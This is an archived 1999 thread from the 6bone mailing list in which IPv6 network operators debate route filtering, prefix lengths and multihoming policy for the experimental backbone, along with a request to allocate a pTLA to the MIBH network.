To: richdr@microsoft.com (Richard Draves)
Date: Tue, 20 Jul 1999 17:49:06 +0400 (MSK DST)
Cc: cmetz@inner.net, 6bone@ISI.EDU
In-Reply-To: <4D0A23B3F74DD111ACCD00805F31D810145155E8@RED-MSG-50> from "Richard Draves" at Jul 19, 99 11:59:36 pm
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Hello!

> Quite right, I was forgetting the new /28s. So make that /28s.

Maybe /32 then to keep it even? 8)8)

It starts to sound ridiculous.

I see no reasons to restrict route propagation via 6bone,
it is experimental network and its goal is to experiment.
6bone routing table is so small, that putting any restrictions
is meaningless. All the problems may be solved on peer-to-peer base,
rather then by enforcing artifical constraints, which are wrong
by defintion: goto the very beginning.

Alexey Kuznetsov

From 6bone-owner  Tue Jul 20 11:01:38 1999
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To: Peter Tattam <peter@jazz-1.trumpet.com.au>
Cc: Joe Abley <jabley@clear.co.nz>, Robert Rockell <rrockell@sprint.net>,
        6bone@ISI.EDU
Subject: Re: Bad routes update
References: <Pine.BSF.3.96.990720192157.11046A-100000@jazz-1.trumpet.com.au>
From: Magnus Ahltorp <map@stacken.kth.se>
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Date: 20 Jul 1999 20:01:17 +0200
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> If there's anyone who multi homes NLA or SLA please speak up for I
> think you would be a rarity.

I'm multihoming as a site (/48), and I have separate address
assignments from all my peers and I talk BGP with my peers. I announce
all my addresses to all peers, but that gets filtered out in the peer.

I only use BGP to construct a path tree for me and to get my peers to
route my prefix to me.

/Magnus

From 6bone-owner  Tue Jul 20 11:50:33 1999
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From: Robert Rockell <rrockell@sprint.net>
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To: Joe Abley <jabley@clear.co.nz>
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update
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->More telling, when I progressed to setting up tunnels to our first
->test router, only one of the upstream networks was willing to delegate
->any address space to me -- the others all said "you already have some
->from Sprint, just announce that to us".


your other pTLA should read the spec, and delegate you address space. If you
want another tunnel to me, let me know, and you can get rid of your other
provider.




->
->We _are_ filtering outbound route advertisements; however, we are
->restricting each one to the same Sprint-provided prefix, since that's
->all we have.
->
->This is clearly wrong, according to all the routing practices drafts
->I have seen for the 6Bone.
->
->> When Ipv6 goes live, unless business is more good-willed than it is now,
->> this is going to break things, and one pTLA may not have much motivation to
->> fix the problem (unless flames on the 6bone mailing lists really hurt).
->
->Should I be demanding v6 address prefixes from all my pTLAs?

yes.


->
->On a related note, I've looked, but I can't find the recommended solution
->to the following problem; I also asked Steve Deering about this during
->his IPv6 tutorial at Apricot this year, and at the time he didn't know the
->operational policy on this either (although he could have been trying
->to encourage me to stop asking stupid questions by feigning ignorance :)
->
->  o  NLA is multi-homed to several pTLAs;
->  o  Each pTLA delegates a v6 address prefix to that NLA;
->  o  NLA has a customer who needs addresses.
->
->Does the NLA delegate one prefix to the customer per pTLA?
->
->Does the customer then delegate address(es) from each supplied prefix
->to every interface they have to number in their network?
->
->Given that the reason we are (and will be) multi-homed is for resilience,
->and reduce dependency on any single upstream provider, if I don't
->announce all prefixes to all providers we're never going to get TCP
->sessions (as they exist now) to survive a "pTLA down" event.
->
->At the moment it looks like the only way to multi-home in the manner
->that we are used to with IPv4 is to become a (p)TLA.

or dual-assign and cry for TCPng to fail you over :)



From 6bone-owner  Tue Jul 20 11:52:21 1999
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From: Robert Rockell <rrockell@sprint.net>
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To: Craig Metz <cmetz@inner.net>
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update 
In-Reply-To: <199907200606.GAA26327@inner.net>
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No PTLA SHOULD RECIEVE A ROUTE FROM OTHER PTLA'S MORE SPECIFIC THEN THE
FULL PTLA ROUTE. THERE IS NO CURRENT NEED FOR IT (other than maybe to do
hot-potato routing eventually, but this needs to be fixed, not worked
around.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Tue, 20 Jul 1999, Craig Metz wrote:

->In message <Pine.GSO.3.96.990719221751.22806C-100000@iscone>, you write:
->>3FFE:F00:2::0/48		11261
->
->  This is not a bogus route per se. I told them to set it up this way. I have
->been recommending that non-pTLA multi-homed sites use a /48, which happens to
->mesh nicely with the way I've been managing tunnel address space at NRL.
->
->  I can see a very very strong case for making it /32 and setting a hard and
->fast rule that prefixes >/32 are not allowed into the cloud. I think that it
->would be a Very Very Good Thing if no backbone router ever had to look at
->beyond the first 32 bits of the address, as this would make life a Whole Lot
->Easier for hardware that is designed for the best-performance case being 32
->bit addresses (like, oh, say, most backbone routers).
->
->  Now, these other prefixes are bogon.
->
->  I'd like to add one I saw in my routing tables:
->
->  3FFE:F00:A:1133::0/64
->         *> 3FFE:F01:0:FFFF::5 FE80::C8E:50C2:7 Tunnel1 1225 1103 65502 5623 559 1717 1835 1849 109 3462 3263 49 i
->         *  3FFE:F01:0:FFFF::19 FE80::E0:1E8E:C2C1:18 Tunnel6 5609 1225 1275 1103 222 5623 559 1717 1835 1849 109 3462 3263 49 i
->  3FFE:F00:A:11E1::0/64
->         *> 3FFE:F01:0:FFFF::5 FE80::C8E:50C2:7 Tunnel1 1225 1103 65502 5623 559 1717 786 1849 109 3462 3263 49 ?
->         *  3FFE:F01:0:FFFF::19 FE80::E0:1E8E:C2C1:18 Tunnel6 5609 1225 1275 1103 222 5623 559 1717 786 1849 109 3462 3263 49 ?
->
->  NIST guys, please fix.
->
->>3FFE::0/16			2497 (prepended)
->
->  Sigh.
->
->>When Ipv6 goes live, unless business is more good-willed than it is now,
->>this is going to break things, and one pTLA may not have much motivation to
->>fix the problem (unless flames on the 6bone mailing lists really hurt).
->
->  What's basically going to have to happen soon is that we're going to have to
->turn on the basic BGP knobs. I'd like to see routing transit policy stuff in
->place on the 6Bone as well as reasonable path metrics and such, as it would
->stop much of the current tunnel routing insanity.
->
->  Perhaps the Cisco guys could elaborate, but I had the impression that only
->a very limited subset of the knobs are really built for IPv6. This might
->complicate things.
->
->									-Craig
->


From 6bone-owner  Tue Jul 20 11:58:30 1999
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To: Joe Abley <jabley@clear.co.nz>
Cc: Craig Metz <cmetz@inner.net>, Richard Draves <richdr@microsoft.com>,
        6bone@ISI.EDU
Subject: Re: Bad routes update
References: <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50> <199907200655.GAA26375@inner.net> <19990720213333.D62668@clear.co.nz>
From: Magnus Ahltorp <map@stacken.kth.se>
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Date: 20 Jul 1999 20:58:10 +0200
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>  o  stability of individual sessions is not important in the event of
>     a routing change upstream;

There is an internet-draft on how to use Mobile IP to solve this
issue.

>  o  having _new_ sessions connect correctly (i.e. handling the change
>     of TCP session endpoint address) is more important; this will be done by
> 
>  o  an algorithm for choosing suitable source and destination addresses
>     for TCP virtual circuit endpoints that will become clear with
>     operational experience.

There were presentations in Oslo that addressed these issues.

> I am not convinced by the first point, and the second and third ideas
> look very clumsy to me. Much more clumsy than having long-prefix routes
> injected into the backbone, leading to routers with 80,000 routes in them,
> to be honest. Personal opinion, and a little diversionary.

Do you really think that there are only 80000 sites that want to be
multi-homed?

> With IPv6, this means that the poor customer will need to number each
> address on their equipment with as many as 16 different addresses
> (their upstreams will each have to deal with 8).

And in what way is 16 addresses "many"? Compared to most IPv4 hosts,
it's a huge amount, but then, this isn't IPv4.
 
> >From an operational perspective, we deal with dual-homed customers today
> who do not have technical staff in-house -- they hire it in, by the
> hour, and pay through the nose for it. A change in a customer
> relationship for one of the NLAs (who have no direct relationship with
> the end customer in question) now has the knock-on effect of requiring
> all downstream users to change addresses on their interfaces.
>
> I believe the IPv6 autoconfiguration story, but only as far as it
> goes -- I don't believe in effective automatic DNS 

The DNS issues are addressed by the A6 RR.

> and route filter updates, for example. There is going to be manual
> intervention required all along the track.

IP number dependency in route filters is just broken anyway. Normally,
filters are there to allow or disallow some pattern of
source/destination IP address prefixes and port numbers. I don't
really see the problem in making those IP address prefixes symbolic.
Once they are symbolic, I don't see why automatic updating and
multiple prefixes should be a problem.

> The number of end-users just in our customer base that have a business
> requirement to multi-home increases every month.

Yes, the requirement to multi-home increases. It will continue to
increase. _That_ is the reason for not allowing IPv4 style
multi-homing. The routing tables would become enormous.

/Magnus

From 6bone-owner  Tue Jul 20 12:07:22 1999
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To: perry@piermont.com
Cc: Joe Abley <jabley@clear.co.nz>, Craig Metz <cmetz@inner.net>,
        Richard Draves <richdr@microsoft.com>, 6bone@ISI.EDU
Subject: Re: Bad routes update
References: <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50> <199907200655.GAA26375@inner.net> <19990720213333.D62668@clear.co.nz> <874sizzalm.fsf@jekyll.piermont.com>
From: Magnus Ahltorp <map@stacken.kth.se>
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Date: 20 Jul 1999 21:07:05 +0200
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> Like it or not, we will have to accept multiple announcements of
> "punched-through" address blocks way below the /28 level.

No, we don't have to accept that. Accepting it will just make people
think that the multi-homing problem is solved.

/Magnus

From 6bone-owner  Tue Jul 20 12:21:08 1999
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Date: Tue, 20 Jul 1999 12:20:45 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for MIBH
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6bone Folk,

Per the request from Stephen Stuart (below), I'm opening a two week window
for the review of a pTLA for MIBH. I will close this on 3 August 99. 

Note that this will be a /28 pTLA assignment.

If you will look closely at Stephen's experience, coupled with the
customers he will have, I consider this one to easily qualify for a pTLA
and very important to the IPv6 deployment program.


Comments to the list please.


Thanks, 

Bob 

===
>To: Bob Fink <fink@es.net>
>cc: Stephen Stuart <stuart@tech.org>
>Subject: Request for pTLA
>Date: Tue, 20 Jul 1999 11:59:44 -0700
>From: Stephen Stuart <stuart@tech.org>
>
>I'd like to get a pTLA for the MIBH network I'm building/expanding, so
>that we can build in IPv6 from a relatively early stage.
>
>RFC 2546 6bone backbone pTLA requirements:
>
>>  1. The site MUST have experience with IPv6 on the 6Bone, at least as
>>      a leaf site and preferably as a transit pNLA under an existing
>>      pTLA.
>
>While at DEC's Network Research Laboratory, I was responsible for
>setting up and operating the Digital Palo Alto IPv6 pTLA known as
>DIGITAL-CA, and the native IPv6 exchange fabric at PAIX. I am still
>involved in network architecture for PAIX, including future
>IPv6-related services. I am very familiar with IPv6 issues for pTLAs.
>
>>   2. The site MUST have the ability and intent to provide "production-
>>      like" 6Bone backbone service to provide a robust and operationally
>>      reliable 6Bone backbone.
>
>My network's customers include AltaVista (high volume content
>provider) and the Internet Software Consortium (for purposes of
>demonstrating robustness, a root nameserver operator); we are 
>commited to reliability in every aspect of our network. We currently
>exchange traffic with 40 other autonomous systems in three US west
>coast sites, and are planning expansion to the US east coast and
>Europe.
>
>>   3. The site MUST have a potential "user community" that would be
>>      served by becoming a pTLA, e.g., the requester is a major player
>>      in a region, country or focus of interest.
>
>Our immediate user community includes:
>
> - ISC's software developers, interested in testing IPv6-capable
>versions of BIND and deploying them in an enviroment capable of
>supporting root nameserver activity.
> - The NetBSD team's software distribution folks, interested in making
>ftp.netbsd.org IPv6-capable. 
>
>Future users include AltaVista's software development arm.
>
>> >   4. Must commit to abide by the 6Bone backbone operational rules and
>> >      policies as defined in the present document.
>
>I so commit.
>
>Thanks,
>Stephen 


From 6bone-owner  Tue Jul 20 12:26:19 1999
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To: Magnus Ahltorp <map@stacken.kth.se>
Cc: Joe Abley <jabley@clear.co.nz>, Craig Metz <cmetz@inner.net>,
        Richard Draves <richdr@microsoft.com>, 6bone@ISI.EDU
Subject: Re: Bad routes update
References: <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50> <199907200655.GAA26375@inner.net> <19990720213333.D62668@clear.co.nz> <874sizzalm.fsf@jekyll.piermont.com> <ixdr9m3nns6.fsf@squid.pdc.kth.se>
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 20 Jul 1999 15:26:05 -0400
In-Reply-To: Magnus Ahltorp's message of "20 Jul 1999 21:07:05 +0200"
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Magnus Ahltorp <map@stacken.kth.se> writes:
> > Like it or not, we will have to accept multiple announcements of
> > "punched-through" address blocks way below the /28 level.
> 
> No, we don't have to accept that. Accepting it will just make people
> think that the multi-homing problem is solved.

It isn't clear that the "multi-homing problem" has any other solution.

Think of it from a systematic viewpoint. Is there actually a way for a 
multi-homed host both to get service from "two parts of the tree" and
yet not announce that into the default free zone? Thinking about it
for several minutes indicates "no".

There are, of course, possible solutions, but they involve radical
changes to the internet architecture. Stuff like having EIDs that do
not contain routing information has been contemplated, but no one has
yet produced a real functioning protocol based on such mechanisms. v6
as currently defined is not a new architecture with routing separated
somehow from endpoint addressing. 

Given the architecture we have right now, how else can one really
imagine doing multi-homing but with added announcements? You can't get
around the fact that people will need the routing data to make a
routing decision in the current architecture.

Unless we come up with a new internet architecture in addition to a
new addressing plan, it is unlikely we'll have a technical fix for
this.

I think the long term solution here is *financial*, not *technical*. A
BGP route announcement imposes a cost on all of the routers in the
default free zone. By finding a way to pass the cost of BGP
announcements back to the announcer, we can assure that only those
networks that "need" an announcement (with need defined by market
forces) will make such announcements. If someone really needs
multi-homing, they then help pay for the cost this imposes on everyone
else.


Perry

From 6bone-owner  Tue Jul 20 15:39:09 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'kuznet@ms2.inr.ac.ru'" <kuznet@ms2.inr.ac.ru>
Cc: 6bone@ISI.EDU
Subject: RE: Bad routes update
Date: Tue, 20 Jul 1999 15:36:19 -0700
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> I see no reasons to restrict route propagation via 6bone,
> it is experimental network and its goal is to experiment.
> 6bone routing table is so small, that putting any restrictions
> is meaningless. All the problems may be solved on peer-to-peer base,
> rather then by enforcing artifical constraints, which are wrong
> by defintion: goto the very beginning.

I think thrashing out these routing policy issues and actually trying them
in practice is one of the best uses of the 6bone. It's certainly not much
good for getting packets from A to B :-).

Rich

From 6bone-owner  Tue Jul 20 16:22:45 1999
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Date: Tue, 20 Jul 1999 16:22:34 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: Bad routes update
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References: <Joe Abley's message of "Tue, 20 Jul 1999 21:33:34 +1200">
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6bone list in general,

Time for a long email on both the hardening effort and this very tough
multihoming issue and how it relates to the 6bone. Note, I am not claiming
to be an expert on either routing or multihoming problems (v4 or v6),
rather I'm trying to steer the 6bone activity so the v6 community gets the
most out of it.

The intent of Rob Rockell's "6bone hardening effort" draft
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-00.txt> is
to make the 6bone more operationally robust, and (unstated) to make sure
the 6bone operates in the manner that the IPv6 development and standards
community envisions with the Aggregation based unicast addressing format
that established the TLA concept.

>From the draft:

>1. Abstract
>
>The 6Bone is an Ipv6 testbed to assist in the evolution and deployment  
>of IPv6. Because of this, it is important that the core backbone
>of the IPv6 network maintain stability, and that all operators have
>a common set of rules and guildelines by which to deploy IPv6 routing
>equipment. This document provides a set of guildelines for all IPv6
>routing equipment operators to use as a reference for efficient and stable
>deployment of IPv6 routing systems. As the complexity of the 6Bone grows,
>the adherence to a common set of rules becomes increasingly important in
>order for an efficient backbone to exist.

Regarding making the 6bone operationally robust, the current state of
routing policy (or lack thereof) combined with some sites that often don't
take adequate responsibility to configure and operate for reliable
production operation, leaves the 6bone very difficult to use for any real
production use. Though some parts of the 6bone world, say in Japan for the
WIDE project, run production, most don't do anything other than trade
routes and pings (and not too well at that). Please don't be offended if
you really do get production use out of your piece of the 6bone as I'm
referring to the larger whole (and what many of us observe from the traffic
we see).

I would venture to say the longer term aspect of an end-user site surviving
an ISP (pTLA) outage is not the primary issue at this time (yes, it's very
important for the future). Rather, just making a simple 6bone work
consistently and reliably is a first order high priority. Much work is
going on in this regard from the 6REN/6TAP to Rob's Hardening effort
(sanctioned by the 6bone/ngtrans community by the way).

So to the first order what Rob has proposed (and presented to the list and
in Oslo) are good engineering procedures to make a useful 6bone backone for
reliable operation.

Secondarily, we have a role related to the IPv6 development and standards
community to provide a viable testbed (proving ground) for ideas related to
future backbone operation. Having a coordinated effort to support this is
very important.

Everyone has recognized the problem with multi-homing in v6 for quite a
while, especially those folk participating in the IPng WG for the last few
years. I would generally characterize their view about the multi-homing
problem as it being a very hard problem, yet necessary to tackle or we will
have every /48 v6 prefix propagated in everyone's routing table.

So what to do. First and foremost, the IPng community is now focusing on
the multi-homing problem. There was a small team that decided to tackle it
between Minneapolis and Oslo, offline to the WG, who then reported on their
efforts to the IPng WG last week in Oslo. It is now viewed by the IPng WG
as the highest priority work going on and there will be a multi-day IPng
interim meeting on it before the Washington IETF meeting. Stay tuned to the
ipng list for reports and info on all this.

So, we need a 6bone that helps with this effort in the best way possible. I
believe that this means we agree to operate the 6bone backbone with rules
that are consistent with the current agreed IPng WG procedures as opposed
to just polluting our routing tables with everyones' routes.

Certainly one model for the 6bone (often suggested, I believe) is one of
real world operation (and competition) determining how it will work. I can
see that model possibly working in a real thriving fee for service
competitive IPv6 ISP world but we aren't even close to that point yet.
Also, we are less clear on many solutions to our problems yet, which is why
IPng work is underway on multihoming. So we need some discipline and method
to what we will try to do on the 6bone backbone.


Thus I propose that we, for now, implement Rob's proposed hardening rules
and don't try solve the multihoming issue by ad hoc methods for now. Then
we review the current ideas and proposals coming out of the IPng WG on this
over the next several months and entertain proposals for modifications to
our operating policies as necessary to try out new multihoming techniques
on the larger scale 6bone backbone. I definitely believe that to just allow
all routes to be accepted will lead to problems and certainly not to any
good long term solutions.

Soon enough, if we are wrong about how much we can do to solve the v6
multihoming problem, we can revert to the methods used in the v4 world.
Meanwhile I hope we will not only have a reliable backbone, but one that
can support new ideas from the v6 development and standards community.


I also agree with Rich Draves that debate on actual multihoming issues
should move to the ipng list as they are working it there, leaving just the
6bone related stuff on the 6bone list. This is not to stifle the list at
all, rather to get those working on multihoming maximally involved in the
discussions.


I hope you will agree to support some version of what I've described above
so we can move ahead.


Comments to the list please.

Bob


From 6bone-owner  Tue Jul 20 16:35:43 1999
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To: Magnus Ahltorp <map@stacken.kth.se>
Cc: Joe Abley <jabley@clear.co.nz>, Craig Metz <cmetz@inner.net>,
        Richard Draves <richdr@microsoft.com>, 6bone@ISI.EDU
Subject: Re: Bad routes update
References: <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50> <199907200655.GAA26375@inner.net> <19990720213333.D62668@clear.co.nz> <ixdu2qzno71.fsf@squid.pdc.kth.se>
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 20 Jul 1999 19:35:35 -0400
In-Reply-To: Magnus Ahltorp's message of "20 Jul 1999 20:58:10 +0200"
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Magnus Ahltorp <map@stacken.kth.se> writes:
> >  o  stability of individual sessions is not important in the event of
> >     a routing change upstream;
> 
> There is an internet-draft on how to use Mobile IP to solve this
> issue.

And how much operational experience is there?

> Do you really think that there are only 80000 sites that want to be
> multi-homed?

Right now, there don't seem to be any real restrictions on the
practice in v4 land other than taste, and yet, we aren't overwhelmed
yet. I suspect that the desire will not expand faster than Moore's
Law. If it does, market (financial) rather than technical solutions
would seem to me to be superior.

Perry

From 6bone-owner  Tue Jul 20 17:18:09 1999
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Subject: Re: pTLA request for MIBH 
In-reply-to: Your message of "Tue, 20 Jul 1999 12:20:45 PDT."
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Having Stephen Stuart work on IPv6 anywhere is a good thing and will be
good for IPv6.  Having Altavista and ISC as customers and what Stephen
is doing here qualifies for real IPv6 work.  This should be supported.

/jim

From 6bone-owner  Tue Jul 20 17:39:56 1999
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Date: Tue, 20 Jul 1999 20:39:41 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
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To: "Perry E. Metzger" <perry@piermont.com>
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update
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->Right now, there don't seem to be any real restrictions on the
->practice in v4 land other than taste, and yet, we aren't overwhelmed
->yet. I suspect that the desire will not expand faster than Moore's
->Law. If it does, market (financial) rather than technical solutions
->would seem to me to be superior.

I disagree. With registries demanding the providers delegate down below /24
and /25, we can begin to expand more exponentially than may be first noted.
With singly-homed (at least to one provider) sites, we may not see this
unscale too quickly. however, with multiple-provider "small network"
customers, we can imagine routing tables exploding beyond what we expect.
Remember, small networks may be large networks with firewalls, so this can,
in affect, get popular fast, if there are more address space
conservationalists out there.

As far as letting multi-homing go with v6 as it appears people do now, 
I can see the value in that, but I believe it is important to keep our
engineering/operator hats on. To see multi-homing work correctly (one option
is via RFC2260; outside of whether or not it will work), I think it
important to work early on this, instead of the end-around approach we have
had to suffer through with IPv4 (IPSec, traffic engineering, Qos, routing
table size, etc...) I wonder if it important to keep the tenaments of IPv6
that we have held important since the protocol's inception, and work now to
fix the problems and retain the inherent benefits the protocol can give,
rather than compromise protocol beauty for "what will hopefully scale".
Moore's Law MAY have an upper limit (though maybe not a forseeable one). 

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On 20 Jul 1999, Perry E. Metzger wrote:

->
->Magnus Ahltorp <map@stacken.kth.se> writes:
->> >  o  stability of individual sessions is not important in the event of
->> >     a routing change upstream;
->> 
->> There is an internet-draft on how to use Mobile IP to solve this
->> issue.
->
->And how much operational experience is there?
->
->> Do you really think that there are only 80000 sites that want to be
->> multi-homed?
->
->Right now, there don't seem to be any real restrictions on the
->practice in v4 land other than taste, and yet, we aren't overwhelmed
->yet. I suspect that the desire will not expand faster than Moore's
->Law. If it does, market (financial) rather than technical solutions
->would seem to me to be superior.
->
->Perry
->


From 6bone-owner  Wed Jul 21 00:52:16 1999
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: perry@piermont.com
cc: Magnus Ahltorp <map@stacken.kth.se>, Joe Abley <jabley@clear.co.nz>,
        Craig Metz <cmetz@inner.net>, Richard Draves <richdr@microsoft.com>,
        6bone@ISI.EDU
Subject: Re: Bad routes update 
In-reply-to: Your message of 20 Jul 1999 19:35:35 EDT.
             <87btd6uc6w.fsf@jekyll.piermont.com> 
Date: Wed, 21 Jul 1999 09:51:56 +0200
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 In your previous mail you wrote:

   Magnus Ahltorp <map@stacken.kth.se> writes:
   > >  o  stability of individual sessions is not important in the event of
   > >     a routing change upstream;
   > 
   > There is an internet-draft on how to use Mobile IP to solve this
   > issue.
   
   And how much operational experience is there?
   
=> the mobility stuff (use of bindings) is implemented but not yet the
router renumbering (needed to set preferred lifetimes). Of course it
needs some security (authentication) too.
Another point: this works for ISP failures, not for renumbering because
old addresses should be stiff valid (but default lifetimes are 7 and 30
days then renumbering survival is only a concern with very long connections).

Regards

Francis.Dupont@inria.fr

PS: there already are some multihomed sites on the 6bone, operational
experience will come with router renumbering implementations.

From 6bone-owner  Wed Jul 21 02:14:13 1999
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Date: Wed, 21 Jul 1999 21:13:57 +1200
From: Joe Abley <jabley@patho.gen.nz>
To: ipng@sunroof.eng.sun.com
Subject: MultiHoming with IPv6
Message-ID: <19990721211356.B17512@patho.gen.nz>
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Hi,

I've been cluttering the 6bone list with some concerns about multi-
homing from an operational perspective, and the subject has been deemed
off-topic for now.

Rob Rockell of Sprint suggested this was a better place to raise some
of the issues in the post that follows, so here we go. Apologies for
not lurking for longer than two minutes before barging in :)

6bone folk: apologies for the rude bcc'ing; just letting people know
where at least one branch of this thread has been taken.

I have been surprised by some of the vehement opposition to the idea of
compromising the pure backbone aggregation model, given the amount of
complexity that seems to be involved in the alternatives.

Is it not more reasonable to expect to have to make compromises in
this area, in the interests of a realistic transition to IPv6? Isn't
it _unreasonable_ to effectively change the semantics of TCP, such that
a distant network event could disrupt an active session (by making
one or both endpoint addresses unreachable), rather than allowing it to
recover and continue?

Earlier 6bone post is attached, to provide some context.


Joe

---

Date: Tue, 20 Jul 1999 21:33:34 +1200
>From: Joe Abley <jabley@clear.co.nz>
To: Craig Metz <cmetz@inner.net>
Cc: Richard Draves <richdr@microsoft.com>, 6bone@ISI.EDU
Subject: Re: Bad routes update
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Hi,

On Tue, Jul 20, 1999 at 02:55:44AM -0400, Craig Metz wrote:
> In message <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50>, you write:
> >> >3FFE:F00:2::0/48          11261
> >>
> >>   This is not a bogus route per se. I told them to set it up
> >> this way. I have
> >> been recommending that non-pTLA multi-homed sites use a /48,
> >> which happens to
> >> mesh nicely with the way I've been managing tunnel address
> >> space at NRL.
> >
> >This is bogus - the backbone should only see /24s.
>
>   First off, you're going to have a very hard time arguing that the new /28s
> shouldn't be seen. Second, there *must* be some provision for sites to
> multi-home without being a full pTLA, or pTLA allocations will explode as will
> the allocations of pTLAs to people who shouldn't have them.
 
I was going to keep quiet about this until I had done a lot more reading,
but it seems that perhaps things aren't as cut and dried as I had imagined,
and perhaps there is some benefit in raising this on the 6bone list.
 
I asked questions about multi-homing a long time ago, and the prevelant
answer at the time (which I am hearing from Richard again, so I guess it
hasn't changed) was:
 
 o  if you connect to multiple pTLAs, you will get multple allocations
    of address space, since aggregation in the backbone is important and
    must not be compromised.

 o  if you connect to an NLA which is multi-homed, you will be provided
    with multiple addresses for every host.

I raised some issues regarding resilience of individual TCP sessions
in the event of a pTLA-NLA event upstream, and the answers were (and are):

 o  stability of individual sessions is not important in the event of
    a routing change upstream;

 o  having _new_ sessions connect correctly (i.e. handling the change
    of TCP session endpoint address) is more important; this will be done by

 o  an algorithm for choosing suitable source and destination addresses
    for TCP virtual circuit endpoints that will become clear with
    operational experience.

I am not convinced by the first point, and the second and third ideas
look very clumsy to me. Much more clumsy than having long-prefix routes
injected into the backbone, leading to routers with 80,000 routes in them,
to be honest. Personal opinion, and a little diversionary.

My real concern is the operational impact of managing IP addresses of
end users, or of the administrators just before the end-users. Suppose
we, as a large (by NZ terms; tiny in global terms) operator decide to
multi-home to four backbone providers. We will not be alone; other
providers in NZ will do similar things. This happens now with IPv4
in one way or another.

Today we have smaller ISPs who dual-attach to two or more of the major
carriers.

And below them we have customers who dual-home between ISPs.

All this dual-homing is done for a reason, and that's diversity -- the
way we build fault tolerance into our IP networks is to provision multiple,
diverse and independent paths, and to advertise our networks in every
direction. This takes care and skill to manage correctly, but if done
well can be very effective.

With IPv6, this means that the poor customer will need to number each
address on their equipment with as many as 16 different addresses
(their upstreams will each have to deal with 8).

>From an operational perspective, we deal with dual-homed customers today
who do not have technical staff in-house -- they hire it in, by the
hour, and pay through the nose for it. A change in a customer
relationship for one of the NLAs (who have no direct relationship with
the end customer in question) now has the knock-on effect of requiring
all downstream users to change addresses on their interfaces.

I believe the IPv6 autoconfiguration story, but only as far as it
goes -- I don't believe in effective automatic DNS and route filter
updates, for example. There is going to be manual intervention required
all along the track.

The number of end-users just in our customer base that have a business
requirement to multi-home increases every month.

This sounds a little bit like a nightmare. Is this for real? This
sounds a little less like IP, and a little more like E.164 number
portability in the switched voice network, complete with business
cards that need re-printing every two months (cue Psycho violins,
trembling shower curtain, shadow of hand c/w bloody knife).

For pTLA above, also read TLA in the real network -- I am presuming
that the original aims of the 6bone hold true, and that operational
procedures developed here will migrate their way to the Real Network.

I still presume that I am under some basic misconception that, once
cleared, will leave me happy and relaxed. The sooner someone can
point it out to me, the sooner I can get some sleep :)


Joe

--
Joe Abley <jabley@clear.co.nz>      Tel +64 9 912-4065, Fax +64 9 912-5008
Te Kaihoahoa Kawei, CLEAR Communications Ltd      http://www.clear.net.nz/

From 6bone-owner  Wed Jul 21 04:26:35 1999
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Subject: Re: Bad routes update
To: richdr@microsoft.com (Richard Draves)
Date: Wed, 21 Jul 1999 15:25:47 +0400 (MSK DST)
Cc: 6bone@ISI.EDU
In-Reply-To: <4D0A23B3F74DD111ACCD00805F31D81014515604@RED-MSG-50> from "Richard Draves" at Jul 20, 99 03:36:19 pm
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Hello!

> I think thrashing out these routing policy issues and actually trying them
> in practice is one of the best uses of the 6bone. It's certainly not much
> good for getting packets from A to B :-).

Yup, it is truth 8)8)

Thing, which I do not understand is how you want to investigate
routing policy with <256 policed entities involved? It cannot result
in any realistic results. That's my main point. You have to explode
6bone to make it closer to reality, rather than shrink it.

Alexey

From 6bone-owner  Wed Jul 21 04:39:42 1999
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Date: Wed, 21 Jul 1999 13:39:53 +0200
To: kuznet@ms2.inr.ac.ru, richdr@microsoft.com (Richard Draves)
From: Alain Durand <Alain.Durand@imag.fr>
Subject: Re: Bad routes update
Cc: 6bone@ISI.EDU
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At 15:25 21/07/99 +0400, kuznet@ms2.inr.ac.ru wrote:
>Hello!
>
> > I think thrashing out these routing policy issues and actually trying them
> > in practice is one of the best uses of the 6bone. It's certainly not much
> > good for getting packets from A to B :-).
>
>Yup, it is truth 8)8)
>
>Thing, which I do not understand is how you want to investigate
>routing policy with <256 policed entities involved? It cannot result
>in any realistic results. That's my main point. You have to explode
>6bone to make it closer to reality, rather than shrink it.
>
>Alexey

We have been operating the 6 bone for about 2 years
with BGP4+ without enforcing any policy. This gave us enough
time to understand what can/will go wrong with route announcement.
All this experience lead us to RFC2546 and the current hardening draft.

It is now time to move from an experimental network to a pre-production
one. This means some kind of quality and robustness.
This is in my opinion an important step forward to get ISP on board
and convince them to offer native v6 service to their customers.

         - Alain.



From 6bone-owner  Wed Jul 21 10:53:22 1999
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To: fink@es.net
Cc: 6bone@ISI.EDU
Subject: Re: Bad routes update
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Date: Wed, 21 Jul 1999 13:53:13 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Hi. Bob and all,

>> Regarding making the 6bone operationally robust, the current state of
>> routing policy (or lack thereof) combined with some sites that often don't
>> take adequate responsibility to configure and operate for reliable
>> production operation, leaves the 6bone very difficult to use for any real
>> production use.

Do you really think enforcing the routing policy leads to
hardening (solving the current routing issues)?  It will cut a
couple of multi-homed sites to make the 6bone topology simple and
decrease the number of routing table entries from ~200 to ~170 as
well as other bogus routes by a few. But, I don't think it will
help to improve the current state of routing reliability.

Introducing the routing policy at each pTLA routers increases the
complexity of 6bone routing (in configuration by hand).  Before
practicing the complex routing policy (that may be called a
real-world practice), don't we have a couple of things to do?

